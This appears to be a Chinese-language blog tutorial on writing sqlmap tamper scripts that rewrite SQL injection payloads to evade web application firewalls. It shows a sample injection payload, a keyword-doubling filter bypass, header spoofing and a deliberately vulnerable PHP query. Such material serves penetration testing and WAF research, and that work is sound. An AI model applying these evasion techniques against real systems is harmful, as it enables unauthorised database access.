sqlmap-tamper編寫指南
註:最近遇到了一些奇怪的waf,想自己寫一些tamper但是發現沒有參考材料可以使用,因此在寫了這篇文章,一方便進行自定義的tamper編寫。筆者筆力有限,如有錯誤,敬請讀者們指正。
0x00 sqlmap tamper簡介
sqlmap是一個自動化的SQL註入工具,而tamper則是對其進行擴展的一系列腳本,主要功能是對本來的payload進行特定的更改以繞過waf。
0x01 一個最小的例子
為了說明tamper的結構,讓我們從一個最簡單的例子開始
# sqlmap/tamper/escapequotes.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace("‘", "\\‘").replace(‘"‘, ‘\\"‘)
不難看出,一個最小的tamper腳本結構為priority變量定義和dependencies、tamper函數定義。
priority定義腳本的優先級,用於有多個tamper腳本的情況。
dependencies函數聲明該腳本適用/不適用的範圍,可以為空。
tamper是主要的函數,接受的參數為payload和**kwargs
返回值為替換後的payload。比如這個例子中就把引號替換為了\\‘。
0x02 詳細介紹
第一部分完成了一個最簡單的tamper架構,下面我們進行一個更詳細的介紹
tamper函數
tamper是整個腳本的主體。主要用於修改原本的payload。
舉個簡單的例子,如果服務器上有這麽幾行代碼
$id = trim($POST($id),‘union‘); $sql="SELECT * FROM users WHERE id=‘$id‘";
而我們的payload為
-8363‘ union select null -- -
這裏因為union被過濾掉了,將導致payload不能正常執行,那麽就可以編寫這樣tamper
def tamper(payload, **kwargs): return payload.replace(‘union‘,‘uniounionn‘)
保存為test.py,存到sqlmap/tamper/下,執行的時候帶上--tamper=test的參數,就可以繞過該過濾規則
dependencies函數
dependencies函數,就tamper腳本支持/不支持使用的環境進行聲明,一個簡單的例子如下:
# sqlmap/tamper/echarunicodeencode.py from lib.core.common import singleTimeWarnMessage def dependencies(): singleTimeWarnMessage("tamper script ‘%s‘ is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) # singleTimeWarnMessage() 於在控制臺中打印出警告信息
kwargs
在官方提供的47個tamper腳本中,kwargs參數只被使用了兩次,兩次都只是更改了http-header,這裏以其中一個為例進行簡單說明
# sqlmap/tamper/vanrish.py def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload
這個腳本是為了更改X-originating-IP,以繞過WAF,另一個kwargs的使用出現於xforwardedfor.py,也是為了改header以繞過waf
0x3 結語
tamper的編寫遠不止這些,本文只就其最基本的結構進行探討。作為sqlmap的擴展,在編寫tamper時幾乎所有的sqlmap內置的函數、變量都可以使用,本文不一一列出。
0x04 一些常用的取值
# sqlmap/lib/enums.py class PRIORITY: LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class DBMS: ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" HSQLDB = "HSQLDB"
sqlmap-tamper編寫指南